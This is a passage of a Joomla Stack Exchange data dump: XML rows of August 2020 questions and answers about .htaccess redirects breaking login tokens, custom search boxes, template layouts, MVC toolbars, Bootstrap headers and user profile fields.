  <row Id="28329" PostTypeId="1" CreationDate="2020-08-01T07:06:42.107" Score="0" ViewCount="156" Body="&lt;p&gt;I wanted to eliminate duplicate content by redirecting all requests to https://www... by using the below .htaccess entry:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;&#xA;## Force https and www&#xA;#RewriteCond %{HTTPS} off [OR]&#xA;#RewriteCond %{HTTP_HOST} !^www\.gonativeguide\.com$ [NC]&#xA;#RewriteRule ^(.*)$ https://www.gonativeguide.com/$1 [L,R=301]&#xA;&#xA;## Remove trailing slash if not directory&#xA;#RewriteCond %{REQUEST_FILENAME} !-d&#xA;#RewriteCond %{REQUEST_URI} (.+)/$&#xA;#RewriteRule ^(.*)/$ https://www.gonativeguide.com/$1 [R=301,L]&#xA;&#xA;## End - Custom redirects  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Adding this entry seem to do the job for the redirect, however it blocks my users to log into my site using email links. When the user needs to log in she gets a notification email with a button that links to the below address: &lt;a href=&quot;https://www.gonativeguide.com/de/backoffice/markavail?inquiry=437&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.gonativeguide.com/de/backoffice/markavail?inquiry=437&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Joomla changes the above link to the below one, asking the user to log in: &lt;a href=&quot;https://www.gonativeguide.com/de/component/users?view=login&amp;amp;Itemid=214&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.gonativeguide.com/de/component/users?view=login&amp;amp;Itemid=214&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Previously this worked perfectly fine. But with the .htaccess entry, my users get the below error message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warnung Der Sicherheitstoken ist falsch. Die Anfrage wurde zurückgewiesen, um eine Sicherheitsverletzung zu verhindern. Bitte die Seite aktualisieren und erneut versuchen.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I believe this is equivalent to:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The most recent request was denied because it contained an invalid security token. Please refresh the page and try again.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I think I could find a workaround to the problem: If I log in by typing &lt;a href=&quot;http://www.gonativeguide.com/login&quot; rel=&quot;nofollow noreferrer&quot;&gt;www.gonativeguide.com/login&lt;/a&gt; and THEN click the link in the email, then it seems to be working. However it is super embarrassing to ask my users to do so all the time, so I'd like to find a solution to the problem.&lt;/p&gt;&#xA;&lt;p&gt;I read through the related (lengthy) forums talking about the invalid security token problem and tried the below suggestions, but none helped:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Flush cache at the host&lt;/li&gt;&#xA;&lt;li&gt;Flush cache in Joomla&lt;/li&gt;&#xA;&lt;li&gt;Checking if the System - Page cache plugin is disabled (it was disabled)&lt;/li&gt;&#xA;&lt;li&gt;Empty the _session table in the Joomla database&lt;/li&gt;&#xA;&lt;li&gt;Upgrading Joomla to the latest version&lt;/li&gt;&#xA;&lt;li&gt;Fixing the database (Extensions / Manage / Database)&lt;/li&gt;&#xA;&lt;li&gt;Extending the session timeout to 10 hours&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Can somebody explain to me, why the .htaccess entry causes this problem, and how can I do the redirect without this side effect?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12966" LastEditorUserId="12352" LastEditDate="2020-08-01T09:07:36.287" LastActivityDate="2020-08-01T09:07:36.287" Title=".htaccess redirect causes invalid security token when logging in thru email link" Tags="|joomla-3.x|login|.htaccess-configuration|security-token|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28330" PostTypeId="1" CreationDate="2020-08-01T11:29:45.047" Score="0" ViewCount="93" Body="&lt;p&gt;I'm really new to Joomla and I have some basic experience with HTML/PHP and mySQL&lt;/p&gt;&#xA;&lt;p&gt;I have a seperate DB in mySQL which has only 1 table &amp;amp; 3 fields to be populated, this part I've already setup and filled with information.&#xA;What I can't figure out is how to get a searchbox to appear on the homepage of my joomla site that is only for searching this DB and not the whole website (which I don't require)&lt;/p&gt;&#xA;&lt;p&gt;If anyone is able to give me some guidance that would be really appreciated.&lt;/p&gt;&#xA;&lt;p&gt;The idea is a user would search for a code which is populated in my &amp;quot;SearchCode&amp;quot; column of the table and then I need the response to come back with everything from the 3 columns for the row that contains that code (I appreciate that's probably pretty obvious but I want to be clear)&lt;/p&gt;&#xA;&lt;p&gt;I don't need anything fancy, I can figure a lot of myself once I know the basics of how to get the search box into the main page.&lt;/p&gt;&#xA;" OwnerUserId="14431" LastEditorUserId="14431" LastEditDate="2020-08-01T11:50:20.707" LastActivityDate="2023-12-15T18:07:45.937" Title="Custom search box query for homepage" Tags="|search|joomla-3.9|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28331" PostTypeId="2" ParentId="28330" CreationDate="2020-08-02T08:18:39.360" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;As per @mickmackusa note copy my comment here&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;You can output the form via a Joomla custom module (&lt;a href=&quot;https://youtube.com/watch?v=a1vsC3ss1Q4&quot; rel=&quot;nofollow noreferrer&quot;&gt;youtube.com/watch?v=a1vsC3ss1Q4&lt;/a&gt;), not a problem. But you need to post the form to some backend. I'd develop an ajax endpont &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs.joomla.org/Using_Joomla_Ajax_Interface&lt;/a&gt; (Joomla module Ajax would fit you) which should perform the DB request and return data to your frontend&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2020-08-02T08:18:39.360" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28332" PostTypeId="1" CreationDate="2020-08-02T15:41:05.543" Score="0" ViewCount="212" Body="&lt;p&gt;I am new to Joomla so I want to know if it is possible to build a podcasting site with user registration on Joomla.&lt;/p&gt;&#xA;&lt;p&gt;I want guests to be able to subscribe to an individual user's podcast (not subscribing to the whole blog).&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to do this using Joomla?&lt;/p&gt;&#xA;" OwnerUserId="14432" LastEditorUserId="12352" LastEditDate="2020-08-02T20:41:53.370" LastActivityDate="2020-08-02T23:36:18.727" Title="How to build a podcasting site?" Tags="|module|extensions|custom-module|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28334" PostTypeId="2" ParentId="28332" CreationDate="2020-08-02T18:10:36.093" Score="0" Body="&lt;p&gt;Pure Joomla doesn't allow this. You may try to find an extension&#xA;&lt;a href=&quot;https://extensions.joomla.org/instant-search/?jed_live%5Bquery%5D=podcast&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/instant-search/?jed_live%5Bquery%5D=podcast&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But there is a great chance there is no extension doing exactly what you want. So workarounds or customization will be needed.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, Joomla allows to develop an extension to do what you need.&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2020-08-02T18:10:36.093" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28335" PostTypeId="2" ParentId="28332" CreationDate="2020-08-02T23:30:42.027" Score="3" Body="&lt;p&gt;A podcast is just another form of content in a file therefore yes you can and the second part of your idea is going to need some form or subscription/payment process.&lt;/p&gt;&#xA;&lt;p&gt;A quick Google and this article by Peter B. describes the general steps for setting up the podcasting environment, &lt;a href=&quot;https://joomlabe.at/joomla-advice/management/how-to-podcast-with-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://joomlabe.at/joomla-advice/management/how-to-podcast-with-joomla&lt;/a&gt;  The article is a little bit old so some of the extensions mentioned may no longer exist but you should get an idea of what is involved.&lt;/p&gt;&#xA;&lt;p&gt;I would suggest you look at the various Subscription extensions available in the Joomla Extension Directory(JED, &lt;a href=&quot;https://extensions.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/&lt;/a&gt;) in particular ones that handle files for downloading and may integrate with some of the podcasting extensions in @AHeavyObjects answer.&lt;/p&gt;&#xA;&lt;p&gt;You could also look at sites like OST Training/Joomlashack that provide the extensions they use to manage their online learning and recurring subscriptions to see if their model might be helpful in what you want to do.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2020-08-02T23:36:18.727" LastActivityDate="2020-08-02T23:36:18.727" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28337" PostTypeId="1" AcceptedAnswerId="28341" CreationDate="2020-08-03T09:46:48.060" Score="0" ViewCount="81" Body="&lt;p&gt;It is possible to create an alternative article layout in the folder &lt;em&gt;com_content / article&lt;/em&gt; (of course not written with an underscore, but with hyphens it works).&lt;/p&gt;&#xA;&lt;p&gt;But when I try the same procedure within the folder &lt;em&gt;com_content / featured&lt;/em&gt;, I get no option to choose this layout in my controll-center.&lt;/p&gt;&#xA;&lt;p&gt;What are the reasons for this exception?&lt;/p&gt;&#xA;" OwnerUserId="3834" LastEditorUserId="12352" LastEditDate="2020-08-03T23:06:52.590" LastActivityDate="2020-09-03T22:01:15.150" Title="Alternative Article Layout Options" Tags="|joomla-3.x|template-override|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28338" PostTypeId="1" CreationDate="2020-08-03T17:06:03.563" Score="3" ViewCount="232" Body="&lt;p&gt;I'm working with latest Joomla 4 beta, and wondering how can I use namespaces with templates so I can start using and developing custom fields for my templates.&lt;/p&gt;&#xA;&lt;p&gt;I need to know what should I set in the &lt;code&gt;templateDetails.xml&lt;/code&gt; file so I can use proper &lt;code&gt;addfieldprefix&lt;/code&gt; address for my custom fields.&lt;/p&gt;&#xA;&lt;p&gt;Some context:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;what I have and currently use is based on my previous questions asked here: &lt;a href=&quot;https://joomla.stackexchange.com/questions/24594/use-a-plugin-defined-field-inside-template&quot;&gt;plugin defined custom field&lt;/a&gt; - partially works with &lt;code&gt;addfieldpath&lt;/code&gt; for templates, &lt;a href=&quot;https://joomla.stackexchange.com/questions/24693/access-namespaced-custom-field-method-from-a-plugin-into-another-plugin&quot;&gt;use plugin defined custom field inside another plugin&lt;/a&gt;, &lt;a href=&quot;https://joomla.stackexchange.com/questions/24685/joomla-4-how-to-set-namespace-for-custom-field-addfieldprefix&quot;&gt;setting extension namespace&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;no matter how/what, using &lt;code&gt;addfieldprefix&lt;/code&gt; inside the &lt;code&gt;templateDetails.xml&lt;/code&gt; and linking from a plugin doesn't work; EG &lt;code&gt;addfieldprefix=&amp;quot;Joomla\CMS\Plugin\EditorsXtd\Vimeo\Field&amp;quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;I also found no documentation, stackoverflow or any resource about using namespaced custom form fields inside &lt;code&gt;templateDetails.xml&lt;/code&gt;, I only found the &lt;code&gt;libraries/namespacemap.php&lt;/code&gt; and seems only 4 types of items can use this system: &lt;code&gt;if (!in_array($type, ['component', 'module', 'plugin', 'library'], true))&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Open to any suggestion.&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2020-08-04T12:17:46.443" LastActivityDate="2020-08-04T12:17:46.443" Title="Joomla 4 template namespace" Tags="|templates|custom-field|joomla-4|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28339" PostTypeId="1" AcceptedAnswerId="28345" CreationDate="2020-08-04T14:20:26.270" Score="1" ViewCount="116" Body="&lt;p&gt;view.html.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class gezcViewVliegtuigen extends JViewLegacy&#xA;{ &#xA;    protected $editID = 0;&#xA;&#xA;     // if task is not specifiek in the url als parameter, display will be used&#xA;    function display($tpl = null)&#xA;    {&#xA;        $app = JFactory::getApplication();&#xA;        $context = &amp;quot;com_gezc.list.site.vliegtuigen&amp;quot;;&#xA;&#xA;        // aanroep URL&#xA;        $uri = JFactory::getURI();&#xA;        $this-&amp;gt;requestURL = $uri-&amp;gt;toString();&#xA;&#xA;        // Assign data to the view&#xA;        $this-&amp;gt;vliegtuigen = $this-&amp;gt;get('Vliegtuigen');&#xA;        &#xA;        $this-&amp;gt;paginas = new JPagination($this-&amp;gt;get('Aantal'), $this-&amp;gt;get('Start') , $this-&amp;gt;get('Limit'));&#xA;&#xA;        $this-&amp;gt;state = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;filter_order     = $app-&amp;gt;getUserStateFromRequest($context.'filter_order', 'filter_order');&#xA;        $this-&amp;gt;filter_order_Dir = $app-&amp;gt;getUserStateFromRequest($context.'filter_order_Dir', 'filter_order_Dir', 'asc', 'cmd');&#xA;        $this-&amp;gt;filterForm       = $this-&amp;gt;get('FilterForm');&#xA;        $this-&amp;gt;activeFilters    = $this-&amp;gt;get('ActiveFilters');&#xA;&#xA;        // Check for errors.&#xA;        if (count($errors = $this-&amp;gt;get('Errors')))&#xA;        {&#xA;            JLog::add(implode('&amp;lt;br /&amp;gt;', $errors), JLog::WARNING, 'jerror');&#xA;&#xA;            return false;&#xA;        }&#xA;&#xA;        // Set the toolbar&#xA;        $this-&amp;gt;addToolBar();&#xA;&#xA;        // Set the document&#xA;        $this-&amp;gt;setDocument();&#xA;&#xA;        // Display the view&#xA;        parent::display($tpl);      &#xA;    }&#xA;    &#xA;    protected function addToolBar()&#xA;    {&#xA;        JToolbarHelper::title(JText::_('COM_HELLOWORLD_MANAGER_HELLOWORLDS'));  &#xA;        JToolbarHelper::addNew('vliegtuigen.add');&#xA;    }   &#xA;&#xA;    protected function setDocument() &#xA;    {&#xA;        $isNew = true; // ($this-&amp;gt;item-&amp;gt;id &amp;lt; 1);    TODO&#xA;        $document = JFactory::getDocument();&#xA;        $document-&amp;gt;setTitle($isNew ? JText::_('COM_GEZC_VLIEGTUIGEN_TITEL_CREATING') :&#xA;                JText::_('COM_GEZC_VLIEGTUIGEN_TITEL_EDITING'));&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;default.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_('behavior.framework', true);&#xA;&#xA;// TODO &#xA;JHtml::script(&amp;quot;https://cdn.jsdelivr.net/npm/uikit@3.4.6/dist/js/uikit.min.js&amp;quot;);&#xA;JHtml::script(&amp;quot;https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js&amp;quot;);&#xA;JHtml::stylesheet('https://cdn.jsdelivr.net/npm/uikit@3.4.6/dist/css/uikit.min.css');&#xA;&#xA;&#xA;$listOrder     = $this-&amp;gt;escape($this-&amp;gt;filter_order);&#xA;$listDirn      = $this-&amp;gt;escape($this-&amp;gt;filter_order_Dir);&#xA;?&amp;gt;&#xA;&amp;lt;h1&amp;gt;Vliegtuigen&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;form action=&amp;quot;&amp;lt;?php echo $this-&amp;gt;requestURL; ?&amp;gt;&amp;quot; method=&amp;quot;post&amp;quot; id=&amp;quot;adminForm&amp;quot; name=&amp;quot;adminForm&amp;quot;&amp;gt;&#xA;&amp;lt;div class=&amp;quot;row-fluid&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;span6&amp;quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;                echo JLayoutHelper::render(&#xA;                    'joomla.searchtools.default',&#xA;                    array('view' =&amp;gt; $this)&#xA;                );&#xA;            ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&amp;quot;uk-overflow-auto&amp;quot;&amp;gt;&#xA;        &amp;lt;table class=&amp;quot;table uk-table-striped uk-table-small uk-table-hover&amp;quot; id=&amp;quot;tableX&amp;quot;&amp;gt;&#xA;            &amp;lt;thead&amp;gt;&#xA;....&#xA;            &amp;lt;/thead&amp;gt;&#xA;            &amp;lt;tfoot&amp;gt;&#xA;....&#xA;            &amp;lt;/tfoot&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;....           &#xA;            &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;task&amp;quot; value=&amp;quot;&amp;quot;/&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;boxchecked&amp;quot; value=&amp;quot;0&amp;quot;/&amp;gt;  &#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;filter_order&amp;quot; value=&amp;quot;&amp;lt;?php echo $listOrder; ?&amp;gt;&amp;quot;/&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;filter_order_Dir&amp;quot; value=&amp;quot;&amp;lt;?php echo $listDirn; ?&amp;gt;&amp;quot;/&amp;gt;&#xA;&#xA;    &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;  &#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The table and the search bar is nice displayed. The filter works correctly, but for some reason the toolbar is not displayed.&lt;/p&gt;&#xA;&lt;p&gt;I tried to check the implementation in Joomla, but there is a lot of magic going on under the hood. Can some explain what I am doing wrong and how it works within de Joomla framework?&lt;/p&gt;&#xA;" OwnerUserId="14436" LastActivityDate="2020-08-05T14:23:06.500" Title="Toolbar not displayed in my Joomla MVC component" Tags="|custom-component|mvc|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28340" PostTypeId="1" AcceptedAnswerId="28342" CreationDate="2020-08-04T14:27:31.227" Score="1" ViewCount="360" Body="&lt;p&gt;I inherited work on a site that uses Joomla, SP Page Builder, Helix Ultimate framework (based on Bootstrap 4), and a 3rd party template. Needless to say, it's been messy trying to make modifications, wading through the copious amounts of (sometimes conflicting) CSS.&lt;/p&gt;&#xA;&lt;p&gt;I've created a header for the site that has logo text on the left (want to keep it always in place) and the menu on the right. The page is supposed to be responsive, so when the screen shrinks to a large width breakpoint the menu becomes an offcanvas toggle.&lt;/p&gt;&#xA;&lt;p&gt;However, in Chrome and Firefox I'm not getting the layout I'm looking for. (Safari works OK) When the screen shrinks, the logo text stacks on top of the menu even though there seems to be enough room for them to be side by side. Any suggestions on where I should be looking at the CSS?&lt;/p&gt;&#xA;&lt;p&gt;Images here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EiGun.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EiGun.png&quot; alt=&quot;Menu looking as expected&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LCOrr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LCOrr.png&quot; alt=&quot;Logo text stacked on top of menu&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Snippet of generated HTML code: (uses Bootstrap container class)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header id=&amp;quot;sp-header&amp;quot;&amp;gt;&#xA;  &amp;lt;div class=&amp;quot;container&amp;quot;&amp;gt;&#xA;    &amp;lt;div class=&amp;quot;container-inner&amp;quot;&amp;gt;&#xA;      &amp;lt;div class=&amp;quot;row&amp;quot; style=&amp;quot;position: relative;&amp;quot;&amp;gt;&#xA;        &amp;lt;div id=&amp;quot;sp-logo&amp;quot; class=&amp;quot;col-3 col-sm-3 col-md-3 col-lg-3 col-xl-3 &amp;quot;&amp;gt;&#xA;          &amp;lt;div class=&amp;quot;sp-column &amp;quot;&amp;gt;&#xA;            &amp;lt;span class=&amp;quot;logo&amp;quot;&amp;gt;&amp;lt;a href=&amp;quot;/&amp;quot;&amp;gt;OneLife Africa&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&amp;quot;sp-menu&amp;quot; class=&amp;quot;col-9 col-sm-9 col-md-9 col-lg-9 col-xl-9 &amp;quot; style=&amp;quot;position: static;&amp;quot;&amp;gt;...&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Relevant CSS:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#sp-header {&#xA;  background: white;&#xA;  height: inherit;&#xA;  left: 0;&#xA;  position: absolute;&#xA;  top: 0;&#xA;  width: 100%;&#xA;  z-index: 99;&#xA;  box-shadow: none;&#xA;  -webkit-animation-duration: 1s;&#xA;  animation-duration: 1s;&#xA;  -webkit-animation-fill-mode: both;&#xA;  animation-fill-mode: both;&#xA;  border-bottom: 5px solid #b55;&#xA;}&#xA;#sp-header &amp;gt; .container {&#xA;  min-width: 100%;&#xA;  margin: 0px;&#xA;  padding-right: 30px;&#xA;}&#xA;#sp-header #sp-logo {&#xA;  display: table; &#xA;  margin: auto;&#xA;}&#xA;#sp-header .logo a {&#xA;  font-size: 2rem;&#xA;  font-weight: 600;&#xA;  color: black;&#xA;  line-height: 1;&#xA;  margin: 0;&#xA;  padding: 0;&#xA;  min-width: 250px;&#xA;  float: left;&#xA;}&#xA;#sp-header .logo p {&#xA;  margin: 5px 0 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14437" LastActivityDate="2020-08-04T23:25:49.290" Title="Bootstrap 4 header stacks logo over menu (want side by side)" Tags="|joomla-3.x|css|responsive-web-design|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28341" PostTypeId="2" ParentId="28337" CreationDate="2020-08-04T20:38:23.430" Score="1" Body="&lt;p&gt;In your directory:&#xA;&lt;code&gt;/templates/yourtemplate/html/com_content/featured/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You need to create both a template file and XML file with matching names - eg. &lt;code&gt;custom-featured.php&lt;/code&gt; and &lt;code&gt;custom-featured.xml&lt;/code&gt; - for this task, you can copy the existing &lt;code&gt;default.php&lt;/code&gt; and &lt;code&gt;default.xml&lt;/code&gt; as a base point. If you then create a new menu item, your &lt;code&gt;Custom Featured&lt;/code&gt; will become a menu type option under Articles.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-08-04T20:38:23.430" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28342" PostTypeId="2" ParentId="28340" CreationDate="2020-08-04T23:25:49.290" Score="2" Body="&lt;p&gt;Quick and easy:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#sp-header #sp-logo {&#xA;  display: table; &#xA;  margin: auto;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Change &lt;code&gt;display: table;&lt;/code&gt; to &lt;code&gt;display: inline-flex&lt;/code&gt; since this appears to be a flex box.&lt;/p&gt;&#xA;" OwnerUserId="5627" LastActivityDate="2020-08-04T23:25:49.290" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28343" PostTypeId="2" ParentId="23038" CreationDate="2020-08-05T07:28:59.837" Score="0" Body="&lt;p&gt;We ended up moving the site to another host and the problem was resolved.&lt;/p&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2020-08-05T07:28:59.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28344" PostTypeId="1" AcceptedAnswerId="28350" CreationDate="2020-08-05T09:04:30.347" Score="1" ViewCount="105" Body="&lt;p&gt;I'm pretty new to Joomla, so sorry if this sounds silly.&lt;/p&gt;&#xA;&lt;p&gt;I am using Extra Field &amp;quot;Date of Birth&amp;quot; from UserProfile in this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.user.helper' );  &#xA;$user = JFactory::getUser();  &#xA;$userId = $user-&amp;gt;id;  &#xA;$userProfile = JUserHelper::getProfile( $userId );  &#xA;$dob = $userProfile-&amp;gt;profile['dob'];  &#xA;echo &amp;quot;dob = &amp;quot; . $dob ;  &#xA;echo &amp;quot;authorise =&amp;quot; . $user-&amp;gt;authorise('core.admin', 'com_component');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Although &lt;code&gt;$dob&lt;/code&gt; displays fine when logged in as a Super User, it won't show when logged in as a registered user.&lt;/p&gt;&#xA;&lt;p&gt;So I'd like to display this field at a &amp;quot;basic non-administrator&amp;quot; level if it's possible.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to do it? Or shall I temporarily change the User type to be able to access this field (I would obviously prefer not to...)?&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Following the responses from  mickmackusa and Sharky :&#xA;Thank you so much for your answers. I'm pretty sure the registered user has a date set up, since it shows when turned into &amp;quot;Super User&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;To help see better what's happening, I've changes the code a little :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;jimport( 'joomla.user.helper' ); &#xA;$user = JFactory::getUser();&#xA;&#xA;echo &amp;quot;&amp;lt;br&amp;gt;--debug--&amp;quot;;&#xA;echo &amp;quot;&amp;lt;br&amp;gt; id = &amp;quot; . $user-&amp;gt;id ;&#xA;echo &amp;quot;&amp;lt;br&amp;gt; name = &amp;quot; . $user-&amp;gt;name ;&#xA;echo &amp;quot;&amp;lt;br&amp;gt; username = &amp;quot; . $user-&amp;gt;username ;&#xA;&#xA;$isAdmin = $user-&amp;gt;get('isRoot');&#xA;if ($isAdmin) {&#xA;echo '&amp;lt;br&amp;gt;You are an Administrator';&#xA;}&#xA;else  {&#xA;echo '&amp;lt;br&amp;gt;You are not Administrator';&#xA;}&#xA;&#xA;&#xA;$userId = $user-&amp;gt;id; &#xA;$userProfile = JUserHelper::getProfile( $userId );&#xA;&#xA;$dob = $userProfile-&amp;gt;profile['dob'];&#xA;echo &amp;quot;&amp;lt;br&amp;gt; dob = &amp;quot; . $dob ;&#xA;echo &amp;quot;&amp;lt;br&amp;gt; authorise =&amp;quot; . $user-&amp;gt;authorise('core.admin', 'com_component');&#xA;&#xA;echo &amp;quot;&amp;lt;br&amp;gt;var_dump = &amp;quot; . $userProfile; //var_dump(JUserHelper::getProfile( $userId ));&#xA;&#xA;echo &amp;quot;&amp;lt;br&amp;gt;--debug--&amp;lt;br&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And here's what I get:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When logged as Super User:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vwDGw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vwDGw.jpg&quot; alt=&quot;As admin 2&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This code displays:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/33FpD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/33FpD.jpg&quot; alt=&quot;As admin 1&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;When logged as Adherent:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HRzUf.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HRzUf.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The same code displays:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oWeQT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oWeQT.jpg&quot; alt=&quot;As adherents&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;When logged in as a SuperUser, &lt;code&gt;var_dump(JUserHelper::getProfile( $userId ));&lt;/code&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; object(Joomla\CMS\Object\CMSObject)#656 (3) {&#xA;     [&amp;quot;_errors&amp;quot;:protected]=&amp;gt; array(0) { }&#xA;     [&amp;quot;id&amp;quot;]=&amp;gt; string(4) &amp;quot;2399&amp;quot;&#xA;     